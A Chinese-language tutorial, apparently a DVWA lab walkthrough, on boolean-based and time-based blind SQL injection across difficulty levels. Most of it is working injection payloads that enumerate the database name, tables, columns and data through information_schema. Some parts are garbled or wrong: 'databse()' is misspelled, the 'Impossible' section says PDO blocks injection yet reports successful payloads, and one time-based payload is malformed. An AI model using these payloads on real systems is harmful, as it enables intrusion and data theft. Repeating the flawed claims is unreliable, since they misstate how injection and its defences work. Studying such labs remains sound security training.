SQL Injection(Blind),即SQL盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要比一般注入高。目前网络上现存的SQL注入漏洞大多是SQL盲注。
=============================================================
·手工盲注的思路
手工盲注的过程,就像与一个机器人聊天,这个机器人知道的很多,但只会回答“是”或者“不是”,因此需要询问它这样的问题,例如“数据库名字的第一个字母是不是a啊?”,通过这种机械的询问,最终获得想要的数据。
盲注分为基于布尔的盲注、基于时间的盲注以及基于报错的盲注。
·手工盲注的步骤:
1.判断是否存在注入,注入是字符型还是数字型
2.猜解当前数据库名
3.猜解数据库中的表名
4.猜解表中的字段名
5.猜解数据
==============================================================
【基于布尔的盲注】
·Low级别:Low级别的代码对参数id没有做任何检查、过滤,存在明显的SQL注入漏洞,同时SQL语句查询返回的结果只有提示而没有具体数据。
①判断是否存在注入,字符型还是数字型
1 ==>成功,存在
1' and 1=1# ==>成功,存在
1' and 1=2# ==>成功,不存在
说明存在字符型注入。
②猜解数据库名
首先猜数据库名字的长度:
1' and length(database())=1#
1' and length(database())=2#
……
最后数字是几的适合显示 成功存在 则数据库名就是多长。
知道了数据库名的长度,就可以用二分法来猜解数据库的名字了:
1' and ascii(substr(databse(),1,1))>97 # ==>成功,存在。说明数据库名的第一个字母的ascii码大于97。
1' and ascii(substr(databse(),1,1))<122 # ==>成功,存在。说明数据库名的第一个字母的ascii码小于122。
……
重复以上步骤,就可以得出数据库名了。
这里需要知道的一点就是数字、字母、下划线分别的ascii码的值的取值和取值范围。
下划线------95
数字0~9-------48~57
字母a~z-------97~122
③猜解表名
首先猜解表的数量:
1' and (select count (table_name) from information_schema.tables where table_schema=database())=1 #
1' and (select count (table_name) from information_schema.tables where table_schema=database())=2 #
……
接着采用二分法挨个猜解表名。
猜解表名长度:
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 #
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=2 #
……
猜解表名:
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<109 #
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103 #
……
重复以上步骤即可猜出表名…
④猜解表中的字段名
首先还是先猜数量,表中的字段的数量:
……1' and (select count(column_name) from information_schema.columns where table_name= ’users’)=1 #
1' and (select count(column_name) from information_schema.columns where table_name= ’users’)=8 #
然后猜表名的长度:
1' and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1 #
1' and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7 #
……
最后重复使用二分法猜表名。
⑤猜解数据:
同样重复使用二分法!!
·Medium级别:利用相关函数对特殊符号\x00,\n,\r,\,’,”,\x1a进行转义,同时也有可能在前端页面设置下拉选择表单,希望以此来控制用户的输入。
我们同样可以与一般的注入一样抓包改参数进行注入。大致与Low级别的一样,这里简单写一点:
抓包改参数id为1 and length(database())=4 # ==>显示存在,说明数据库名的长度为4个字符;
抓包改参数id为1 and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # ==>显示存在,说明数据中的第一个表名长度为9个字符;
抓包改参数id为1 and (select count(column_name) from information_schema.columns where table_name= 0×7573657273)=8 # ==>(0×7573657273为users的16进制),显示存在,说明uers表有8个字段。
·High级别:利用cookie传递参数id,当SQL查询结果为空时,会执行函数sleep(seconds),目的是为了扰乱基于时间的盲注。同时也可能在 SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果。
虽然添加了限制条件(例如LIMIT 1),但是我们可以通过#将其注释掉。但由于服务器端执行sleep函数,会使得基于时间盲注的准确性受到影响。所以选择采用基于布尔的盲注。
·Impossible级别:采用了PDO等技术,划清了代码与数据的界限,有效防御SQL注入,Anti-CSRF token机制的加入可以进一步提高安全性。抓包将cookie中参数id改为1' and length(database())=4 # ==>显示存在,说明数据库名的长度为4个字符;
抓包将cookie中参数id改为1' and length(substr(( select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # ==>显示存在,说明数据中的第一个表名长度为9个字符;
抓包将cookie中参数id改为1' and (select count(column_name) from information_schema.columns where table_name=0×7573657273)=8 # ==>(0×7573657273 为users的16进制),显示存在,说明uers表有8个字段。
===============================================================
【基于时间的盲注】
由于High级别与Impossible级别均难以进行基于时间的盲注,所以这里就只记录Low级别和Medium级别的盲注。
·Low级别:
①判断是否存在注入,注入是字符型还是数字型
1' and sleep(5) # ==>感觉到明显延迟
1 and sleep(5) # ==>没有延迟
说明存在字符型的基于时间的盲注。
②猜解数据库名
首先猜解数据库名的长度:
1' and if(length(database())=3,sleep(5),1) # ==>没有延迟
1' and if(length(database())=4,sleep(5),1) # ==>明显延迟
说明数据库名长度为4。
接着采用二分法猜解数据库的名称:
1' and if(ascii(substr(database(),1,1))>97,sleep(5),1)# ==>明显延迟
1' and if(ascii(substr(database(),1,1))<100,sleep(5),1)# ==>没有延迟
1' and if(ascii(substr(database(),1,1))>100,sleep(5),1)# ==>没有延迟
说明数据库名的第一个字符为小写字母d。
……
重复以上步骤即可猜出数据库的名称。
③猜解数据库的表名
首先猜数量:
1' and if((select count(table_name) from information_schema.tables where table_schema=database() )=2,sleep(5),1)#
然后猜数据库的表名的长度:
1' and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) #
最后重复使用二分法猜数据库的表的名称:
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),sleep(5),1))<103 #
④猜解表中的字段名
首先猜解字段的数量:
1' and if((select count(column_name) from information_schema.columns where table_name= ’users’)=8,sleep(5),1)#
然后猜字段名的长度:
1' and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7,sleep(5),1) #
最后再次重复使用二分法猜字段名。
⑤猜解数据。
同样重复使用二分法。
·Medium级别:
与基于布尔型的盲注类似,略有差别,也简单记录一下即可:
抓包改参数id为1 and if(length(database())=4,sleep(5),1) # ==>明显延迟,说明数据库名的长度为4个字符;
抓包改参数id为1 and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) # ==>明显延迟,说明数据中的第一个表名长度为9个字符;
抓包改参数id为1 and if((select count(column_name) from information_schema.columns where table_name=0×7573657273 )=8,sleep(5),1) # ==>明显延迟,说明uers表有8个字段。